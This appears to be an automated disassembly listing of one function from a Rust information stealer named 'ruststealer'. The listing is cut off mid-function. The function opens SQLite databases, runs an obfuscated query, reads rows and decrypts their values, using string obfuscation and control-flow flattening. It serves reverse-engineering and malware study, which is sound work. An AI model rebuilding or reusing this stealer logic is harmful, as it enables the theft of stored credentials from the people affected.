Function at 0x14000d090
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x448
movaps xmmword [rsp + 0x430], xmm9
movaps xmmword [rsp + 0x420], xmm8
movaps xmmword [rsp + 0x410], xmm7
movaps xmmword [rsp + 0x400], xmm6
mov qword [rsp + 0x380], rcx
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x168], 8
mov qword [rsp + 0x170], 0
mov rax, qword [rdx + 0x80]
mov qword [rsp + 0x390], rax
mov rax, qword [rdx + 0x88]
mov qword [rsp + 0x388], rax
mov rax, qword [rdx + 0x20]
mov rdi, qword [rdx + 0x28]
mov rcx, qword [rdx + 8]
mov qword [rsp + 0x318], rcx
mov r13, qword [rdx + 0x10]
mov r8, qword [rdx + 0x40]
mov rcx, qword [rdx + 0x48]
mov r9, qword [rdx + 0x60]
mov qword [rsp + 0x328], r9
mov rdx, qword [rdx + 0x68]
mov qword [rsp + 0x320], rdx
xor ebx, ebx
mov rdx, rdi
sub rdx, 0xf
cmovb rdx, rbx
mov qword [rsp + 0x338], rdx
lea rdx, [rax + 7]
and rdx, 0xfffffffffffffff8
mov qword [rsp + 0xe8], rax
sub rdx, rax
mov qword [rsp + 0x3b0], rdx
mov qword [rsp + 0x310], rcx
sub rcx, 0xf
cmovb rcx, rbx
mov qword [rsp + 0x330], rcx
lea rax, [r8 + 7]
and rax, 0xfffffffffffffff8
mov qword [rsp + 0xe0], r8
sub rax, r8
mov qword [rsp + 0x3a8], rax
xorps xmm6, xmm6
movaps xmm7, xmmword [0x1402bc0f0]
mov eax, 0xb979db14
lea r15, [rsp + 0x258]
lea rbp, [rsp + 0xa0]
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0xf0], r13
jmp 0x14000d21d
mov qword [rsp + 0x160], 0
mov qword [rsp + 0x168], 8
mov qword [rsp + 0x170], 0
mov ebx, 0x1f1342d1
mov rdi, qword [rsp + 0x148]
mov eax, ebp
lea rbp, [rsp + 0xa0]
xor eax, ebx
cmp eax, 0xa66a99c5
je 0x14000d240
cmp eax, 0xb979db14
je 0x14000d2b0
cmp eax, 0xbde93009
je 0x140011c86
xor eax, ebx
jmp 0x14000d21d
mov dword [rsp + 0x17c], eax
mov rcx, r15
mov rsi, qword [rsp + 0x390]
mov rdx, rsi
mov rbx, qword [rsp + 0x388]
mov r8, rbx
call sym.std::sys::windows::fs::stat::h264e18a38b51e5a7
cmp dword [rsp + 0x258], 2
jne 0x14000d33a
mov rsi, qword [rsp + 0x260]
mov eax, esi
and eax, 3
mov ebx, 0x1b83a9cc
lea rcx, [rax - 2]
cmp rcx, 2
jae 0x140010c39
mov eax, dword [rsp + 0x17c]
xor eax, ebx
jmp 0x14000d21d
mov ebp, eax
mov rsi, qword [rsp + 0x170]
test rsi, rsi
je 0x14000d310
mov rdi, qword [rsp + 0x168]
add rdi, 0x20
jmp 0x14000d2d9
add rdi, 0x30
dec rsi
je 0x14000d310
cmp qword [rdi - 0x20], 0
je 0x14000d2f2
mov r8, qword [rdi - 0x18]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
cmp qword [rdi - 8], 0
je 0x14000d2d0
mov r8, qword [rdi]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x14000d2d0
cmp qword [rsp + 0x160], 0
je 0x14000d1e0
mov r8, qword [rsp + 0x168]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x14000d1e0
mov rcx, rsi
mov rdx, rbx
call sym.ruststealer::crypt::crypt_util::CryptUnit::new::h13f0f600027232d6
mov qword [rsp + 0x300], rax
mov eax, 0x3d225af5
xor ebx, ebx
jmp 0x14000d3c4
lea rcx, [rsp + 0x160]
mov rbx, r8
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h71c9434ecbf8f4fb
mov r8, rbx
mov rdx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x168]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov qword [rax + rcx], r8
mov qword [rax + rcx + 8], r12
mov r8, qword [rsp + 0x130]
mov qword [rax + rcx + 0x10], r8
mov qword [rax + rcx + 0x18], r14
mov qword [rax + rcx + 0x20], rsi
mov qword [rax + rcx + 0x28], rdi
inc rdx
mov qword [rsp + 0x170], rdx
mov ebx, 0x4085e2c4
mov rdi, qword [rsp + 0x148]
mov eax, dword [rsp + 0x7c]
xor eax, ebx
cmp eax, 0xf1bc910c
je 0x14000d4b0
cmp eax, 0x3d225af5
je 0x14000d3f0
cmp eax, 0xb13973c8
je 0x140010b9e
xor eax, ebx
jmp 0x14000d3c4
mov dword [rsp + 0x7c], eax
lea rcx, [rsp + 0x180]
mov rdx, qword [rsp + 0xe0]
mov r8, qword [rsp + 0x310]
xor r9d, r9d
call sym.std::sys::windows::fs::metadata::ha44735e7766e11d3
cmp dword [rsp + 0x180], 2
jne 0x14000d646
mov rsi, qword [rsp + 0x188]
mov eax, esi
and eax, 3
cmp rax, 2
jb 0x14000d574
cmp eax, 2
jne 0x14000d574
mov rax, rsi
movabs rcx, 0xffffffff00000000
and rax, rcx
movabs rcx, 0x78000000000
cmp rax, rcx
jne 0x14000d574
mov rcx, r15
mov rdx, qword [rsp + 0xe0]
mov r8, qword [rsp + 0x310]
mov r9d, 0x200000
call sym.std::sys::windows::fs::metadata::ha44735e7766e11d3
cmp dword [rsp + 0x258], 2
jne 0x14000d552
mov rcx, qword [rsp + 0x260]
call sym.core::ptr::drop_in_place_std::io::error::Error_::he1a1f231b7e07eb9
jmp 0x14000d574
mov dword [rsp + 0x7c], eax
lea rcx, [rsp + 0x180]
mov rdx, qword [rsp + 0xe8]
mov r8, rdi
xor r9d, r9d
call sym.std::sys::windows::fs::metadata::ha44735e7766e11d3
cmp dword [rsp + 0x180], 2
jne 0x14000f26d
mov rsi, qword [rsp + 0x188]
mov eax, esi
and eax, 3
cmp rax, 2
jb 0x14000d5c5
cmp eax, 2
jne 0x14000d5c5
mov rax, rsi
movabs rcx, 0xffffffff00000000
and rax, rcx
movabs rcx, 0x78000000000
cmp rax, rcx
jne 0x14000d5c5
mov rcx, r15
mov rdx, qword [rsp + 0xe8]
mov r8, rdi
mov r9d, 0x200000
call sym.std::sys::windows::fs::metadata::ha44735e7766e11d3
cmp dword [rsp + 0x258], 2
jne 0x14000d5a3
mov rcx, qword [rsp + 0x260]
call sym.core::ptr::drop_in_place_std::io::error::Error_::he1a1f231b7e07eb9
jmp 0x14000d5c5
test byte [rsp + 0x299], 4
je 0x14000d63e
mov eax, dword [rsp + 0x29c]
mov ecx, 0x20000000
and eax, ecx
je 0x14000d63e
mov eax, esi
and eax, 3
mov ebx, 0xcc9ecbf9
lea rcx, [rax - 2]
cmp rcx, 2
jae 0x14000d593
mov eax, dword [rsp + 0x7c]
xor eax, ebx
jmp 0x14000d3c4
test rax, rax
jne 0x14000d5f4
mov eax, dword [rsp + 0x7c]
xor eax, ebx
jmp 0x14000d3c4
test byte [rsp + 0x299], 4
je 0x14000f265
mov eax, dword [rsp + 0x29c]
mov ecx, 0x20000000
and eax, ecx
je 0x14000f265
mov eax, esi
and eax, 3
mov ebx, 0x4085e2c4
lea rcx, [rax - 2]
cmp rcx, 2
jae 0x14000d5e4
mov eax, dword [rsp + 0x7c]
xor eax, ebx
jmp 0x14000d3c4
test rax, rax
jne 0x14000d5f4
mov eax, dword [rsp + 0x7c]
xor eax, ebx
jmp 0x14000d3c4
mov rdi, qword [rsi - 1]
mov r14, qword [rsi + 7]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x14000d625
cmp qword [r14 + 0x10], 0x11
jb 0x14000d614
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rdi
call fcn.14014aabc
dec rsi
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
call fcn.14014aabc
jmp 0x14000d3b6
mov rcx, rsi
call sym.core::ptr::drop_in_place_std::io::error::Error_::he1a1f231b7e07eb9
mov edi, 0x4349602b
xor r9d, r9d
mov r14d, 1
xor esi, esi
xor eax, eax
cmp edi, 0x4349602b
jne 0x14000d6a0
jmp 0x14000d867
mov r14, rcx
mov r9, r12
nop dword [rax + rax]
lea rcx, [r14 + r9]
mov rdx, qword [rsp + 0x318]
mov r8, r13
mov rbx, r9
call sym.memcpy
mov r9, rbx
add r9, r13
mov eax, 0xfe9a7a5
xor edi, eax
cmp edi, 0x4349602b
je 0x14000d867
cmp edi, 0x4ca0c78e
je 0x14000d6d0
cmp edi, 0xf41b70a2
je 0x14000d91e
xor edi, eax
cmp edi, 0x4349602b
jne 0x14000d6a0
jmp 0x14000d867
mov qword [rsp + 0x130], r14
lea rax, [0x1402b9ab2]
mov qword [rsp + 0x258], rax
mov rcx, qword [rsp + 0x258]
movabs rax, 0xb36f75311ef327e7
mov qword [rsp + 0x258], rax
mov rdx, qword [rsp + 0x258]
mov r12, r9
call sym.obfstr::xref::inner::h1c7cbb6b54679c12
mov r9, r12
mov rbx, qword [rax]
movabs rcx, 0xa3074da181a90d8d
xor rbx, rcx
mov ebp, dword [rax + 8]
mov ecx, 0x1cda57f8
xor ebp, ecx
movzx r14d, word [rax + 0xc]
mov rax, rsi
sub rax, r12
cmp rax, 0xd
ja 0x14000d810
mov r13, rsi
mov rsi, r9
add rsi, 0xe
jb 0x140011ce4
lea rax, [r13*2]
cmp rax, rsi
cmova rsi, rax
cmp rsi, 9
mov eax, 8
cmovb rsi, rax
test r13, r13
je 0x14000d796
mov rcx, r13
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x268], r13
mov eax, 1
jmp 0x14000d798
xor eax, eax
mov rdx, rsi
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x180]
mov r8, rsi
mov r9, r15
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0x180], 0
mov rcx, qword [rsp + 0x188]
je 0x14000d7f2
movabs rax, 0x8000000000000001
cmp rcx, rax
mov rsi, r13
mov r13, qword [rsp + 0xf0]
mov r9, r12
je 0x14000d810
jmp 0x140011d94
mov qword [rsp + 0x130], rcx
mov r13, qword [rsp + 0xf0]
mov r9, r12
nop word cs:[rax + rax]
mov eax, r14d
xor al, 0xaa
shr r14d, 8
xor r14b, 0xe1
movzx eax, al
movzx ecx, r14b
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov r14, qword [rsp + 0x130]
mov qword [r14 + r9], rbx
mov dword [r14 + r9 + 8], ebp
movd eax, xmm0
mov word [r14 + r9 + 0xc], ax
add r9, 0xe
mov eax, 0xb8bbb72c
lea rbp, [rsp + 0xa0]
xor edi, eax
cmp edi, 0x4349602b
jne 0x14000d6a0
mov rax, rsi
sub rax, r9
cmp rax, r13
jae 0x14000d670
mov rbx, rsi
mov rsi, r9
add rsi, r13
jb 0x140011ce4
lea rax, [rbx + rbx]
cmp rax, rsi
cmova rsi, rax
cmp rsi, 9
mov eax, 8
cmovb rsi, rax
test rbx, rbx
je 0x14000d8bf
mov rcx, rbx
mov r12, r9
mov qword [rsp + 0x258], r14
mov qword [rsp + 0x268], rbx
mov eax, 1
jmp 0x14000d8c4
mov r12, r9
xor eax, eax
mov rdx, rsi
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x260], rax
lea rcx, [rsp + 0x180]
mov r8, rsi
mov r9, r15
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0x180], 0
mov rcx, qword [rsp + 0x188]
je 0x14000d665
movabs rax, 0x8000000000000001
cmp rcx, rax
mov rsi, rbx
mov r9, r12
je 0x14000d670
jmp 0x140011d94
mov rdi, qword [rsp + 0x310]
test rdi, rdi
mov qword [rsp + 0x130], r14
mov qword [rsp + 0x2f8], rsi
je 0x14000db1f
xor eax, eax
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0xe0]
movzx ecx, byte [rcx + rax]
test cl, cl
js 0x14000d9e0
mov rcx, qword [rsp + 0x3a8]
sub ecx, eax
test cl, 7
jne 0x14000db13
jmp 0x14000d984
add rax, 0x10
cmp rax, qword [rsp + 0x330]
jae 0x14000d9ae
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rdx + rax + 8]
or rcx, qword [rdx + rax]
movabs rdx, 0x8080808080808080
test rcx, rdx
je 0x14000d980
cmp rax, rdi
jae 0x14000db16
nop word [rax + rax]
mov rcx, qword [rsp + 0xe0]
cmp byte [rcx + rax], 0
js 0x14000db16
inc rax
cmp rdi, rax
jne 0x14000d9c0
jmp 0x14000db1f
lea rdx, [0x14032f944]
movzx edx, byte [rcx + rdx]
cmp edx, 4
je 0x14000da44
cmp edx, 3
je 0x14000da0f
cmp edx, 2
jne 0x14000dc23
inc rax
cmp rax, rdi
jb 0x14000db01
jmp 0x14000dc23
lea rdx, [rax + 1]
cmp rdx, rdi
jae 0x14000dc23
mov r8, qword [rsp + 0xe0]
movzx edx, byte [r8 + rdx]
cmp rcx, 0xe0
je 0x14000da79
cmp ecx, 0xed
jne 0x14000da93
cmp dl, 0x9f
jle 0x14000dab2
jmp 0x14000dc23
lea rdx, [rax + 1]
cmp rdx, rdi
jae 0x14000dc23
mov r8, qword [rsp + 0xe0]
movzx edx, byte [r8 + rdx]
cmp rcx, 0xf0
je 0x14000da86
cmp ecx, 0xf4
jne 0x14000dac0
cmp dl, 0x8f
jle 0x14000dad5
jmp 0x14000dc23
and dl, 0xe0
cmp dl, 0xa0
je 0x14000dab2
jmp 0x14000dc23
add dl, 0x70
cmp dl, 0x30
jb 0x14000dad5
jmp 0x14000dc23
lea r8d, [rcx + 0x1f]
cmp r8b, 0xc
jb 0x14000daa9
and cl, 0xfe
cmp cl, 0xee
jne 0x14000dc23
cmp dl, 0xc0
jge 0x14000dc23
add rax, 2
cmp rax, rdi
jb 0x14000db01
jmp 0x14000dc23
add cl, 0xf
cmp cl, 2
ja 0x14000dc23
cmp dl, 0xc0
jge 0x14000dc23
lea rcx, [rax + 2]
cmp rcx, rdi
jae 0x14000dc23
mov rdx, qword [rsp + 0xe0]
cmp byte [rdx + rcx], 0xbf
jg 0x14000dc23
add rax, 3
cmp rax, rdi
jae 0x14000dc23
mov rcx, qword [rsp + 0xe0]
cmp byte [rcx + rax], 0xbf
jg 0x14000dc23
inc rax
cmp rax, rdi
jb 0x14000d950
mov qword [rsp + 0x308], r9
lea rbx, [rsp + 0x180]
mov rcx, rbx
mov rdx, qword [rsp + 0xe0]
mov r8, rdi
call sym.__str_as_alloc::ffi::c_str::CString::new::SpecNewImpl_::spec_new_impl::h297887165894eb16
mov rax, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x188]
movabs rcx, 0x8000000000000001
dec rcx
mov rdi, qword [rsp + 0x190]
cmp rax, rcx
jne 0x14000dc11
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
mov r9d, 0x8046
call sym.rusqlite::inner_connection::InnerConnection::open_with_flags::h3edfb37a4063ec8c
cmp byte [rsp + 0x180], 0x13
jne 0x14000dd18
lea rdx, [rsp + 0x188]
mov rax, qword [rdx + 0x10]
lea rcx, [rsp + 0x261]
mov qword [rcx + 0x57], rax
movups xmm0, xmmword [rdx]
movups xmmword [rcx + 0x47], xmm0
lea rax, [rsp + 0x288]
movups xmmword [rax], xmm6
mov qword [rsp + 0x260], 0
movups xmm0, xmmword [0x1402cf600]
movups xmmword [rcx + 0x17], xmm0
movups xmm0, xmmword [0x1402cf5f0]
movups xmmword [rcx + 7], xmm0
mov qword [rsp + 0x298], 0x10
mov qword [rsp + 0x2a0], 0
xor eax, eax
mov qword [rsp + 0x258], rax
mov byte [rsi], 0
test rdi, rdi
jne 0x14000dd64
jmp 0x14000dd7d
mov rdx, qword [rsp + 0x198]
mov cl, 5
mov r14, rbx
jmp 0x14000dca4
test rdi, rdi
js 0x140011ce4
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
lea r14, [rsp + 0x180]
jne 0x14000dc5c
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011e46
mov qword [0x1403610c8], rax
mov rcx, rax
xor edx, edx
mov r8, rdi
call fcn.14014aadc
test rax, rax
je 0x140011e46
mov rsi, rax
mov rcx, rax
mov rdx, qword [rsp + 0xe0]
mov r8, rdi
call sym.memcpy
mov rdx, qword [rsp + 0x3a0]
and rdx, 0xffffffffffffff00
mov cl, 7
mov rax, rdi
mov qword [rsp + 0x3a0], rdx
mov r8d, dword [rsp + 0x3b8]
mov r9d, dword [rsp + 0x3bb]
lea r10, [rsp + 0x261]
mov dword [r10 + 3], r9d
mov dword [r10], r8d
mov qword [rsp + 0x278], rdi
mov qword [rsp + 0x280], rdx
mov rdx, qword [rsp + 0x208]
lea r8, [rsp + 0x288]
mov qword [r8 + 0x10], rdx
movups xmm0, xmmword [rsp + 0x1f8]
movups xmmword [r8], xmm0
mov byte [rsp + 0x260], cl
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x270], rsi
mov qword [rsp + 0x258], 1
jmp 0x14000dd8e
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movups xmm2, xmmword [rsp + 0x1a0]
movups xmm3, xmmword [rsp + 0x1b0]
lea rax, [rsp + 0x260]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov eax, 1
mov qword [rsp + 0x258], rax
mov byte [rsi], 0
test rdi, rdi
je 0x14000dd7d
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
call fcn.14014aabc
mov rax, qword [rsp + 0x258]
test rax, rax
je 0x14000dff5
lea r14, [rsp + 0x180]
lea rax, [0x1402b8df7]
mov qword [rsp + 0x180], rax
mov rcx, qword [rsp + 0x180]
movabs rax, 0xe97836f980c4f296
mov qword [rsp + 0x180], rax
mov rdx, qword [rsp + 0x180]
call sym.obfstr::xref::inner::h04c3ca4eedf41f50
mov rsi, qword [rax]
movabs rax, 0xec56ef939eae5b15
xor rsi, rax
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x14000ddfc
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011e37
mov qword [0x1403610c8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011e37
mov rbx, rax
mov qword [rax], rsi
lea rax, [0x1402b7b19]
mov qword [rsp + 0x180], rax
mov rcx, qword [rsp + 0x180]
movabs rax, 0x6b64a360e7a2dcfc
mov qword [rsp + 0x180], rax
mov rdx, qword [rsp + 0x180]
call sym.obfstr::xref::inner::h533b447b9140e8b0
mov rdi, qword [rax]
movabs rcx, 0x381463125a6cae8c
xor rdi, rcx
mov r14, qword [rax + 8]
movabs rcx, 0x3636e6353ab95c09
xor r14, rcx
mov r15, qword [rax + 0x10]
movabs rcx, 0x8ad36238b4f65aed
xor r15, rcx
movzx ebp, word [rax + 0x18]
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x14000deaf
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011dec
mov qword [0x1403610c8], rax
mov r8d, 0x1a
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011dec
mov rsi, rax
mov eax, ebp
xor al, 0x32
shr ebp, 8
xor bpl, 0x3f
movzx eax, al
movzx ecx, bpl
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov qword [rsi], rdi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r15
movd eax, xmm0
mov word [rsi + 0x18], ax
lea rcx, [rsp + 0x260]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
mov eax, 8
mov qword [rsp + 0x308], rax
mov edi, 0x1a
cmp qword [rsp + 0x2f8], 0
je 0x14000df4e
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, qword [rsp + 0x130]
call fcn.14014aabc
mov r14d, 0x1a
mov qword [rsp + 0x130], rbx
mov eax, 8
jmp 0x14000df5c
mov r14d, 0x1a
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x2f8], rax
lea r15, [rsp + 0x258]
lea rbp, [rsp + 0xa0]
mov rdx, qword [rsp + 0x170]
cmp rdx, qword [rsp + 0x160]
jne 0x14000df9b
lea rcx, [rsp + 0x160]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h71c9434ecbf8f4fb
mov rdx, qword [rsp + 0x170]
mov r9, qword [rsp + 0x308]
mov rax, qword [rsp + 0x168]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov r8, qword [rsp + 0x2f8]
mov qword [rax + rcx], r8
mov r8, qword [rsp + 0x130]
mov qword [rax + rcx + 8], r8
mov qword [rax + rcx + 0x10], r9
mov qword [rax + rcx + 0x18], r14
mov qword [rax + rcx + 0x20], rsi
mov qword [rax + rcx + 0x28], rdi
inc rdx
mov qword [rsp + 0x170], rdx
mov ebx, 0xcc9ecbf9
jmp 0x14000d3b6
lea rax, [rsp + 0x260]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x1d0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x1b0], xmm3
movaps xmmword [rsp + 0x1a0], xmm2
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x180], xmm0
lea rax, [0x1402b6dc3]
mov qword [rsp + 0x1f8], rax
lea rbx, [rsp + 0x1f8]
mov rcx, qword [rsp + 0x1f8]
movabs rax, 0x9861a7e664e8aac2
mov qword [rsp + 0x1f8], rax
mov rdx, qword [rsp + 0x1f8]
call sym.obfstr::xref::inner::h3ee9a97551eb01a6
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov r9, qword [rax + 0x18]
mov r10, qword [rax + 0x20]
mov r11, qword [rax + 0x28]
mov rsi, qword [rax + 0x30]
mov edi, dword [rax + 0x38]
movzx eax, byte [rax + 0x3c]
movabs r14, 0x2c35380fb3f07bad
xor rcx, r14
mov qword [rsp + 0x1f8], rcx
movabs rcx, 0x70e9b5eda72f35
xor rdx, rcx
mov qword [rsp + 0x200], rdx
movabs rcx, 0x47befcccb58ea5d6
xor r8, rcx
mov qword [rsp + 0x208], r8
movabs rcx, 0x8d746a6c9cc12b3f
xor r9, rcx
mov qword [rsp + 0x210], r9
movabs rcx, 0xe2d75b150704a470
xor r10, rcx
mov qword [rsp + 0x218], r10
movabs rcx, 0x8634e0c83f0a062f
xor r11, rcx
mov qword [rsp + 0x220], r11
movabs rcx, 0xff242a575f90561e
xor rsi, rcx
mov qword [rsp + 0x228], rsi
mov ecx, 0x37b01b60
xor edi, ecx
mov dword [rsp + 0x230], edi
xor al, 0xce
mov byte [rsp + 0x234], al
cmp qword [rsp + 0x1c0], 0
jne 0x140011e53
mov qword [rsp + 0x1c0], 0xffffffffffffffff
mov rdx, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], 0x3d
lea rcx, [rsp + 0x3b8]
lea r8, [rsp + 0x180]
mov r9, rbx
call sym.rusqlite::inner_connection::InnerConnection::prepare::he7641878dc573686
inc qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x3b8]
test rax, rax
je 0x14000f0e5
lea rcx, [rsp + 0x3c0]
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
lea rcx, [rsp + 0x200]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x230]
call sym.sqlite3_bind_parameter_count
test eax, eax
jne 0x140011e5f
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 8
mov qword [rsp + 0x90], 0
mov ebx, 0x6bbb41a8
xor eax, eax
jmp 0x14000e27b
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 8
mov qword [rsp + 0x90], 0
mov eax, 0x6ec6fb18
xor ebx, eax
cmp ebx, 0x57dbab0
je 0x14000e320
cmp ebx, 0x6bbb41a8
je 0x14000e2a0
cmp ebx, 0xfc3e9265
je 0x14000f00d
xor ebx, eax
jmp 0x14000e27b
mov rsi, qword [rsp + 0x90]
test rsi, rsi
je 0x14000e2f0
mov rdi, qword [rsp + 0x88]
add rdi, 8
jmp 0x14000e2c9
add rdi, 0x18
dec rsi
je 0x14000e2f0
cmp qword [rdi - 8], 0
je 0x14000e2c0
mov r8, qword [rdi]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x14000e2c0
cmp qword [rsp + 0x80], 0
je 0x14000e250
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x14000e250
mov dword [rsp + 0x2e8], ebx
nop word [rax + rax]
mov rsi, qword [rsp + 0x110]
test rsi, rsi
je 0x14000ef29
mov rcx, qword [rsi + 0x38]
call sym.sqlite3_step
cmp eax, 0x64
jne 0x14000ef0f
mov qword [rsp + 0x118], rsi
lea rax, [rsp + 0x118]
mov qword [rsp + 0x348], rax
mov byte [rsp + 0x340], 0x13
mov esi, 0x12c27a3f
xor r14d, r14d
mov edi, 1
xor ebx, ebx
xor eax, eax
mov qword [rsp + 0x158], rax
mov eax, 1
mov qword [rsp + 0x138], rax
xor eax, eax
mov qword [rsp + 0x1e8], rax
xor eax, eax
mov qword [rsp + 0x150], rax
mov eax, 1
mov qword [rsp + 0x140], rax
xor eax, eax
mov qword [rsp + 0x1f0], rax
xor ebp, ebp
jmp 0x14000e3e0
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
xor esi, ebp
cmp esi, 0x31fd682f
jg 0x14000e450
cmp esi, 0x12c27a3f
je 0x14000e4e0
cmp esi, 0x24cac202
jne 0x14000e3de
mov rdx, qword [rsp + 0x118]
lea rcx, [rsp + 0xa0]
call sym.rusqlite::row::Row::get::hafa4401370d72d98
cmp byte [rsp + 0xa0], 0x13
jne 0x140011d28
mov rax, qword [rsp + 0xa8]
mov r8, rdi
mov rdi, qword [rsp + 0xb0]
mov r14, qword [rsp + 0xb8]
mov ebp, 0x4aa99e07
test rbx, rbx
mov rbx, rax
jne 0x14000e3d0
jmp 0x14000e3de
cmp esi, 0x31fd6830
jne 0x14000e557
mov rdx, qword [rsp + 0x118]
mov r8d, 1
lea rcx, [rsp + 0xa0]
call sym.rusqlite::row::Row::get::hfbd9225a52867a60
cmp byte [rsp + 0xa0], 0x13
jne 0x140011d28
mov rax, qword [rsp + 0xa8]
mov r8, qword [rsp + 0x138]
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov qword [rsp + 0x158], rdx
mov ebp, 0x1537aa32
mov qword [rsp + 0x138], rcx
cmp qword [rsp + 0x1e8], 0
mov qword [rsp + 0x1e8], rax
jne 0x14000e3d0
jmp 0x14000e3de
mov rdx, qword [rsp + 0x118]
lea rcx, [rsp + 0xa0]
xor r8d, r8d
call sym.rusqlite::row::Row::get::hfbd9225a52867a60
cmp byte [rsp + 0xa0], 0x13
jne 0x140011d28
mov rax, qword [rsp + 0xa8]
mov r8, qword [rsp + 0x140]
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0xb8]
mov qword [rsp + 0x150], rdx
mov ebp, 0x233f120f
mov qword [rsp + 0x140], rcx
cmp qword [rsp + 0x1f0], 0
mov qword [rsp + 0x1f0], rax
jne 0x14000e3d0
jmp 0x14000e3de
cmp esi, 0x6e635c05
jne 0x14000e3de
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], r14
mov rax, qword [rsp + 0x300]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0xf8]
lea r9, [rsp + 0x30]
call sym.ruststealer::crypt::crypt_util::CryptUnit::decrypt_bytes::h38139a40ba0b1009
cmp qword [rsp + 0x150], 0
lea rbp, [rsp + 0xa0]
mov rax, qword [rsp + 0x158]
je 0x14000ee8c
test rax, rax
je 0x14000ee8c
cmp qword [rsp + 0x108], 0
je 0x14000ee8c
mov r14d, 0xef1d1f25
xor r13d, r13d
mov r15d, 1
xor edi, edi
xor ebx, ebx
jmp 0x14000e61c
mov r15, rcx
mov rdi, rbx
mov eax, esi
xor al, 0xc1
shr esi, 8
xor sil, 0x1c
movzx eax, al
movzx ecx, sil
shl ecx, 8
or ecx, eax
movd xmm0, ecx
movd eax, xmm0
mov word [r15 + r13], ax
add r13, 2
mov ebx, 0x46a002cb
mov rsi, r15
xor r14d, ebx
mov r15, rsi
cmp r14d, 0x104a160c
jle 0x14000e700
cmp r14d, 0x4e99f9f8
jle 0x14000e780
cmp r14d, 0x4e99f9f9
je 0x14000e9e9
cmp r14d, 0x68945b85
jne 0x14000ea62
lea rax, [0x1402ba3f1]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0xd30bb2bd59dc3baa
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
